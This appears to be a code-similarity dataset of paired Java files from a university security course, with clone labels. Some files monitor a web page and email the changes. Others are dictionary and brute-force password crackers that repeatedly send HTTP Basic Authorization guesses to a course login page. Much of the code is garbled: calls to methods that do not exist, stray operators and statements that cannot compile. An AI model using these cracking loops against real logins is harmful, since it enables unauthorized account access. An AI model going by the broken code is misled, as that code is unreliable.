status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
126.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.util.Properties;
import java.security.*;
public class WatchDog
{
private String file,tempfile1,tempfile2,tempfile3;
private final String host="yallara.cs.rmit.edu.";
private final String email="@cs.rmit.edu.";
private final String from="watchdog@cs.rmit.edu.";
private final String subject="SUBJECT:Mail from Watchdog about the changes the web-.";
private String baseURL="";
private String msg;
private boolean firstTime=false;
public WatchDog(boolean flag)
{
firstTime=flag;
}
public void startWatching(String[] urls,String fl)
{
file=fl;
tempfile1=fl+"/temp1.log";
tempfile2=fl+"/temp2.log";
tempfile3=fl+"/temp3.log";
System.out.println(tempfile3);
msg="";
for(;;)
{
try
{
for(int o=0;o<urls.length;o++)
{
file=fl+"/ass2_"+o+".log";
URL u=new URL(urls[o]);
String f=u.getFile();
String url=urls[o];
if(f.lastIndexOf('.')<f.lastIndexOf('/'))
{
url=f.substring(0,f.lastIndexOf('/'));
url=u.getProtocol()+"://"+u.getHost()+url;
}
System.out.println(url);
watch(url);
msg=msg+"\n\n";
}
if(firstTime==false)
{
boolean flag=mail(msg);
if(flag)
System.out.println("mail sent");
else
System.out.println("mail not sent");
Thread.sleep(1000*60*60*24);
}
else
System.exit(0);
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
private void watch(String url) throws IOException
{
baseURL=url;
msg=msg+"Going check the URL "+url+".\n";
String pageText=getResource(url);
String [] images=getImages(pageText);
if(firstTime==false)
msg= msg + checkChange(pageText,images);
msg=msg+". Checked at "+new java.util.Date(System.currentTimeMillis())+".";
log(pageText,images);
if(firstTime)
System.out.println("Re-run the watchDog (without the First flag).");
}
private String checkChange(String pageText,String [] images) throws IOException
{
PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));
out.println(pageText);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
out.print();
out=null;
BufferedReader in1=new BufferedReader(new FileReader(file));
BufferedReader in2=new BufferedReader(new FileReader(tempfile1));
String msg="\n";
String temp1="",temp2="",oldText="",newText="";
BufferedReader in0=new BufferedReader(new FileReader(tempfile1));
while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
{
temp1=in0.readLine();
temp1=temp1+"\n";
newText=newText+temp1;
}
in0.print();
in0=null;
out=new PrintWriter(new FileOutputStream(tempfile1));
out.println(newText);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
out.print();
out=null;
newText="";
temp1=" ";
while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
{
temp1=in1.readLine();
temp1=temp1+"\n";
temp2=in2.readLine();
temp2=temp2+"\n";
oldText=oldText+temp1;
newText=newText+temp2;
}
in2.print();
in2=null;
out=new PrintWriter(new FileOutputStream(tempfile2));
out.println(oldText);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
out.print();
out=null;
msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);
String data="";
try{
FileReader fin=new FileReader(tempfile3);
int ch=fin.print();
while(ch!= -1)
{
data=data+""+(char)ch;
ch=fin.print();
}
}
catch(FileNotFoundException m){}
msg=msg+data;
temp1=in1.readLine();
int numImg=Integer.parseInt(temp1);
if(numImg != images.length)
msg=msg+"The number of images has chnaged.\n The number of images before was "+numImg+" \n While the number of images found now is "+images.length+" .\n";
else
msg=msg+" is change in the number of images the .\n";
String iText1="",iText2="";
for(int i=0;i<numImg;i++)
{
out=new PrintWriter(new FileOutputStream(tempfile1));
out.println(images[i]);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
out.print();
out=null;
in2=new BufferedReader(new FileReader(tempfile1));
while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
{
temp1=in1.readLine();
temp1=temp1+"\n";
temp2=in2.readLine();
temp2=temp2+"\n";
iText1=iText1+temp1;
iText2=iText2+temp2;
}
in2.print();
in2=null;
if(iText1.equals(iText2))
msg=msg+" is change in the Image number "+(i+1)+". \n";
else
msg=msg+"The Image number "+(i+1)+" has changed. \n";
}
return msg;
}
private String[] getImages(String text) throws IOException
{
String [] images,urls;
java.util.ArrayList alist=new java.util.ArrayList();
String t="";
boolean img=false;
int len=text.length();
char ch,last=' ';
int c=0;
while(c<len)
{
ch=text.charAt(c);
if(ch=='<')
{
last='<';
t="";
}
if(last=='<')
{
t=""+ch;
if(c+2 < len)
t=t+text.charAt(c+1)+""+text.charAt(c+2);
if(t.equalsIgnoreCase("img"))
img=true;
}
if(img==true)
t=+ch;
if(ch=='>')
{
last='>';
if(img==true)
{
System.out.println();
int n=0;
char tch,tlast=' ';
String imgPath="",tn="";
boolean src=false;
while(n<t.length())
{
tch=t.charAt(n);
tn=""+tch;
if(src==false && tn.equalsIgnoreCase("s") && (n+2)<t.length())
{
tn=tn+t.charAt(n+1)+""+t.charAt(n+2);
if(tn.equalsIgnoreCase("src"))
{
src=true;
n+=2;
}
}
else if(src==true)
{
if(tch!='"')
{
if(tch==' ' && imgPath.indexOf('.')!= -1)
n=t.length();
else if(tch==' ' || tch=='=')
;
else
imgPath=imgPath+tch;
}
}
n++;
}
alist.add(imgPath);
}
img=false;
}
c++;
}
urls=(String[])alist.toArray(new String[0]);
images=new String[urls.length];
for(int i=0;i<urls.length;i++)
{
System.out.println(urls[i]);
if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false && urls[i].startsWith("/")==false)
{
try
{
images[i]=getResource(baseURL+"/"+urls[i]);
}
catch(FileNotFoundException fnfe)
{
String f=baseURL+"/"+urls[i];
images[i]=f.substring(0,f.lastIndexOf('/'));
}
}
else if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false)
{
try
{
images[i]=getResource(baseURL+urls[i]);
}
catch(FileNotFoundException fnfe)
{
String f=baseURL+urls[i];
images[i]=f.substring(0,f.lastIndexOf('/'));
}
}
else
{
try
{
images[i]=getResource(urls[i]);
}
catch(FileNotFoundException fnfe)
{
images[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));
}
}
}
return images;
}
private void log(String pageText,String[] images) throws IOException
{
PrintWriter out=new PrintWriter(new FileOutputStream(file));
out.println(pageText);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
if(images.length>0)
{
out.println(images.length+"");
out.flush();
}
for(int i=0;i<images.length;i++)
{
out.println(images[i]);
out.flush();
out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
out.flush();
}
}
public String getResource(String url) throws IOException
{
System.out.println("url="+url);
String urlData=new String("");
InputStreamReader in=new InputStreamReader(new URL(url).openStream());
int ch=in.print();
while(ch!= -1)
{
urlData=urlData+(char)ch;
ch=in.print();
}
return urlData;
}
public boolean mail (String msg) throws IOException
{
boolean ret=true;
try
{
Socket csoc=new Socket("yallara.cs.rmit.edu.",25);
BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));
PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
out.println("HELO "+host);
System.out.println(in.readLine());
out.println("MAIL FROM:"+from);
System.out.println(in.readLine());
out.println("RCPT :");
System.out.println(in.readLine());
out.println("DATA");
System.out.println(in.readLine());
out.println("SUBJECT:"+subject);
System.out.println(in.readLine());
out.println(msg);
out.println(".");
System.out.println(in.readLine());
out.println("QUIT");
System.out.println(in.readLine());
}
catch(Exception e)
{
e.printStackTrace();
System.out.println("Some error occoured while communicating server");
ret=false;
return ret;
}
System.out.println("**************************************\nMAIL ->"+msg);
return ret;
}
public static void main (String[] args)
{
System.out.println("Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}");
boolean flag=false;
int num=args.length-1;
if(args[args.length-1].equalsIgnoreCase("First"))
{
num--;;
flag=true;
}
System.out.println(args[num]);
WatchDog w=new WatchDog(flag);
String []u=new String[num];
for(int i=0;i<u.length;i++)
u[i]=args[i];
w.startWatching(u,args[num]);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
177.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.util.*;
public class WatchdogThread implements Runnable
{
private Thread t;
private Vector imageList;
private String mainLink;
private EmailClient email;
private int delay;
public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay)
{
t=new Thread(this);
mainLink = nMainLink;
imageList=images;
email = nEmail;
delay = nDelay;
t.start();
}
public void run()
{
String errors = "";
try
{
Thread.currentThread().sleep(delay);
errors = checkHTML();
errors += checkImages();
if (!errors.equals(""))
{
String message = " some changes in the Students Home as follows.\n\n";
message += errors;
email.sendMail("Change in Students Home ", message);
}
WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
}
catch (InterruptedException e )
{
System.out.print();
}
}
private String checkHTML()
{
String errors = "";
String line, line2;
int lineNum = 1;
try
{
FileReader fRead = new FileReader("local.txt");
BufferedReader file = new BufferedReader(fRead);
URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
line=file.readLine();
line2=webpage.readLine();
while ((line != null) && (line2 != null))
{
if (!line.equals(line2))
{
errors += "At line " + lineNum + "\n";
errors += "Old:" + line.trim() + "\n";
errors += "New:" + line2.trim() + "\n\n";
}
line = file.readLine();
line2=webpage.readLine();
lineNum+=1;
}
if (line != null)
{
errors += " the following extra lines at the end of the old file.\n\n";
while (line != null)
{
errors += line + "\n";
line = file.readLine();
}
errors += "\n";
}
if (line2 != null)
{
errors += " the following extra lines at the end of the new file.\n\n";
while (line2 != null)
{
errors += line2 + "\n";
line2 = file.readLine();
}
errors += "\n";
}
file.close();
fRead.close();
webpage.close();
connection.disconnect();
}
catch (IOException ioe)
{
System.out.print(ioe);
}
return errors;
}
private String checkImages()
{
String errors = "";
ImageFile image;
HttpURLConnection imgConnection;
URL imgURL;
int contentLen;
try
{
for (int i=0;i<imageList.size();i++)
{
image = (ImageFile) imageList.elementAt(i);
imgURL = new URL(image.getImageUrl());
imgConnection = (HttpURLConnection) imgURL.openConnection();
contentLen = imgConnection.getContentLength();
if (contentLen == -1)
errors += "\nUnable retrieve image file \"" + image.getImageUrl() + "\"\n";
else if(image.getImageSize() != imgConnection.getContentLength())
errors += "\nImage file \"" + image.getImageUrl() + "\" has changed in size\n";
imgConnection.disconnect();
}
}
catch (IOException ioe)
{
System.out.print(ioe);
}
return errors;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
037.java | 161.java | 0 | import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
import java.security.*;
public class WatchDog extends Thread
{
public static void main (String args[])
{
WatchDog watcher = new WatchDog();
watcher.run();
}
public void run()
{
DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
twentyFourHours = 24 * 60 * 60 * 1000;
writeProgramLog("Program started at " + longTimestamp.format(new Date()));
while(true)
{
writeProgramLog("Running run at " + longTimestamp.format(new Date()));
compare();
try
{
sleep(twentyFourHours);
}
catch(InterruptedException e)
{
writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));
System.exit(0);
}
}
}
private void compare()
{
String watchDogFile = "watchDogHash_rcroft.";
String watchDogPageFile = "watchDogPage_rcroft.html";
File watchDogLogFile = new File(watchDogFile);
if(!watchDogLogFile.exists())
{
WebPage targetPage = getPage();
if(targetPage.getSuccess())
{
byte[] newHash = calcHash(targetPage.getPageContents());
writeHash(newHash, watchDogFile);
writePage(targetPage.getPageContents(), watchDogPageFile);
}
}
else
{
try
{
WebPage targetPage = getPage();
if(targetPage.getSuccess())
{
byte[] oldHash = new byte[16];
byte[] newHash = calcHash(targetPage.getPageContents());
DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));
inWatchDogFile.readFully(oldHash);
inWatchDogFile.print();
if(!java.util.Arrays.equals(oldHash, newHash))
{
String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());
mail(differences);
writeHash(newHash, watchDogFile);
writePage(targetPage.getPageContents(), watchDogPageFile);
}
}
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
}
}
private String enumerateDifferences(String oldPageFileName, String newPageData)
{
String differences = "";
File newFile = null;
try
{
newFile = File.createTempFile("new", "tmp");
String tempFilePath = newFile.getAbsolutePath();
DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));
outFile.writeBytes(newPageData);
outFile.print();
String commandLine = "diff " + oldPageFileName + " " + tempFilePath;
Process p = Runtime.getRuntime().exec(commandLine);
BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = diffs.readLine()) != null)
differences += line + "\n";
diffs.print();
newFile.delete();
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
return differences;
}
private void mail(String mailMessage)
{
Vector emailAddresses = new Vector();
String watchDogEmailFile = "watchDogEmail_rcroft.txt";
File emailFile = new File(watchDogEmailFile);
if(emailFile.exists())
{
try
{
BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));
String line;
while ((line = inWatchDogEmailFile.readLine()) != null)
{
line = line.trim();
if((line != "") && (line != "\n"))
emailAddresses.add(line);
}
inWatchDogEmailFile.print();
}
catch(FileNotFoundException e)
{
writeProgramLog("Exception: " + e);
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
}
else
{
emailAddresses.add("@yallara.cs.rmit.edu.");
emailAddresses.add("rac@acslink.aone.net.");
}
if(emailAddresses.size() > 0)
{
try
{
String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";
DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";
for(int i = 0; i < emailAddresses.size(); i++)
{
String toAddress = (String) emailAddresses.get(i);
try
{
URL mailURL = new URL("mailto: " + toAddress);
URLConnection mailConnection = mailURL.openConnection();
mailConnection.setDoInput(false);
mailConnection.setDoOutput(true);
mailConnection.connect();
PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));
mailWriter.print(": " + toAddress + "\n");
mailWriter.print(fromAddress + "\n");
mailWriter.print(subject + "\n");
mailWriter.print(mailMessage);
mailWriter.print();
writeProgramLog("\tNotification mailed in this run.");
}
catch(MalformedURLException e)
{
writeProgramLog("Exception: " + e);
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
}
}
catch(UnknownHostException e)
{
writeProgramLog("Exception: " + e);
}
}
}
private void writeHash(byte [] newHash, String fileName)
{
try
{
DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
outFile.write(newHash, 0, newHash.length);
outFile.print();
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
}
private void writePage(String newPage, String fileName)
{
try
{
DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
outFile.writeBytes(newPage);
outFile.print();
}
catch(IOException e)
{
writeProgramLog("Exception: " + e);
}
}
private void writeProgramLog(String comment)
{
String fileName = "watchDogLog_rcroft.txt";
try
{
DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));
outFile.writeBytes(comment + "\n");
outFile.flush();
outFile.print();
}
catch(IOException e)
{
System.out.println("Exception: " + e);
}
}
private WebPage getPage()
{
WebPage tempWebPage = new WebPage();
try
{
String urlName = "http://www.cs.rmit.edu./students/";
URL targetURL= new URL(urlName);
HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();
connection.connect();
connection.getResponseCode();
if(connection.getResponseCode() == 200)
{
String fileContents = "";
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line;
while((line = in.readLine()) != null)
fileContents = fileContents + line + "\n";
in.print();
tempWebPage.setPageContents(fileContents);
tempWebPage.setSuccess(true);
connection.disconnect();
}
else
{
writeProgramLog("Failed connect " + connection.getResponseCode());
}
}
catch(IOException e)
{
writeProgramLog("Exception " + e);
}
return tempWebPage;
}
private byte[] calcHash(String pageContents)
{
byte[] outHash = null;
try
{
MessageDigest msg = MessageDigest.getInstance("");
msg.reset();
msg.update(pageContents.getBytes());
outHash = msg.digest();
msg.reset();
}
catch(NoSuchAlgorithmException e)
{
writeProgramLog("Exception: " + e);
}
return outHash;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
003.java | 161.java | 0 | import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;
public class BruteForce
{
private String result ="";
public class customAuthenticator extends Authenticator {
public customAuthenticator(String passwd)
{
this.pass = passwd;
}
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication("",pass.toCharArray());
}
public String pass;
}
public BruteForce() {
java.util.Date d = java.util.Calendar.getInstance().getTime();
System.out.println(d.toString());
char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String record = null;
String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
char pass[] = {'x','x','x'};
int count=1;
String passwd=new String();
HttpURLConnection connection = null;
URL u = null;
try
{
u = new URL(url);
}
catch (MalformedURLException e)
{
}
for(int a=0;a<words.length;a++)
{
for(int b=0;b<words.length;b++)
{
for(int c=0;c<words.length;c++)
{
pass[0]=words[a];
pass[1]=words[b];
pass[2]=words[c];
passwd=passwd.copyValueOf(pass,0,3);
System.out.println(count+ " ) " + passwd);
count++;
try
{
connection = (HttpURLConnection) u.openConnection();
Authenticator.setDefault(new customAuthenticator(passwd));
if (connection.getResponseCode()!=401)
{
System.out.print("The password is : "+passwd);
System.out.println();
java.util.Date d1 = java.util.Calendar.getInstance().getTime();
System.out.println(d1.toString());
System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n");
System.exit(0);
}
else
{
}
connection.disconnect();
}
catch (IOException e)
{
System.out.println(e);
}
}
}
}
}
public static void main(String[] args)
{
BruteForce = new BruteForce();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
072.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public BruteForce()
{
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2");
MyAuthenticator m = new MyAuthenticator();
Authenticator userPassword = m.getPasswordAuthentication(": ", "Z");
URLConnection uc = url.openConnection();
HttpURLConnection http = (HttpURLConnection) uc;
uc.setRequestProperty ("Authorization", " ");
System.out.println("hello");
http.setRequestMethod("POST");
} catch (MalformedURLException e) {
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
}
}
public static void main (String args[]) {
BruteForce gogetit = new BruteForce();
}
class MyAuthenticator {
Authenticator getPasswordAuthentication(String login, char password) {
{
for(int i = 0; i < 3; i++)
{
password = (char)(57.0 * Math.random() + 65);
if ((password < 97) && (password > 90))
{
i--;
continue;
}
login = login + password;
}
}while(uc.getURL()!= 401);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
046.java | 161.java | 0 | import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog{
public static void main (String[] args) throws InterruptedException, IOException{
String urlString = "http://www.cs.rmit.edu./students/";
String mesg = "";
boolean flag = false;
InputStream rtemp;
if (args.length == 2) {
System.err.println (
"Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>");
return;
}
BufferedReader rnew;
BufferedReader rold = ReadFile (urlString);
SaveFile("weblog",urlString);
Date lasttime = CheckTime(urlString);
Date newtime = new Date();
int i = 0;
System.out.println("......");
while (true) {
newtime = CheckTime(urlString);
System.out.println ("Checking "+ new Date());
if (newtime.toString().equals(lasttime.toString())==false) {
rnew = ReadFile (urlString);
mesg = CompareFile(rold,rnew);
SaveFile("weblog",urlString);
rold = OpenFile ("weblog");
lasttime=newtime;
System.out.println("Sending message");
SendMail(trimtag(mesg),args[0],args[1],args[2]);
System.out.println(trimtag(mesg));
}
Thread.sleep (24*3600*1000);
}
}
private static BufferedReader ReadFile (String urlString) throws IOException{
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
InputStream in = (InputStream) uc.getInputStream();
BufferedReader r = new BufferedReader (new InputStreamReader (in));
return r;
}
private static BufferedReader OpenFile (String FileName) throws IOException{
FileInputStream in = new FileInputStream (FileName);
InputStreamReader is= new InputStreamReader (in);
BufferedReader r = new BufferedReader (is);
return r;
}
private static void SaveFile (String FileName, String urlstring) throws IOException{
String cmd = "wget -q "+urlstring+" -O "+ FileName ;
Runtime.getRuntime().exec(cmd);
}
private static Date CheckTime (String urlString) throws IOException {
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestMethod ("HEAD");
return (new Date (uc.getLastModified()));
}
private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{
Vector newF= new Vector ();
Vector oldF= new Vector ();
int old_count=0;
int new_count=0;
String line="";
StringBuffer mesg = new StringBuffer ("NEW CONTENT : \n");
int j;
while ((line=inold.readLine())!= null){
if (line.trim().length()!=0){
oldF.addElement(line);
}
}
while ((line=innew.readLine()) != null){
if (line.trim().length()!=0){
newF.addElement(line);
}
}
for (int i=0; i<newF.size();i++){
j=0;
while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){
j++;
if (j==oldF.size())
{ j--;
break;
}
}
if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){
newF.removeElementAt(i);
i--;
oldF.removeElementAt(j);
}
}
for (int i=0; i<newF.size();i++){
mesg.append((String)(newF.elementAt(i)));
mesg.append("\n");
}
mesg.append("OLD CONTENT: \n");
for (int i=0; i<oldF.size();i++){
mesg.append((String)oldF.elementAt(i));
mesg.append("\n");
}
return mesg.toString();
}
private static void SendMail (String mesg,
String host,String mailhost, String sending ) throws IOException {
String send_cmd = "";
try {
Socket s = new Socket (host, 25);
PrintStream os = new PrintStream (s.getOutputStream());
send_cmd = "HELO " + mailhost;
os.print(send_cmd + "\r\n");
send_cmd = "MAIL From : website@cs.rmit.edu.";
os.print(send_cmd + "\r\n");
send_cmd = "RCPT : " + sending;
os.print(send_cmd + "\r\n");
send_cmd = "DATA";
os.print(send_cmd + "\r\n");
send_cmd = ("Subject: Website Change Notice");
os.print(send_cmd + "\r\n");
os.print("\r\n");
os.print(mesg+"\r\r\n");
os.print(".\r\n");
os.print("QUIT");
} catch (IOException e) {
System.out.println(e);
}
}
private static String trimtag (String mesg){
String[] taglist = {"<a", "<A", "<applet ", "<APPLET", "<img ", "<IMG "};
String subst = "";
StringBuffer tempst= new StringBuffer();
int j = 0;
int i = 0;
int m = 0;
while (mesg.length()!=0) {
m=0;
i = mesg.indexOf("<");
if (i!=-1) {
tempst.append(mesg.substring(0,i));
}
else {
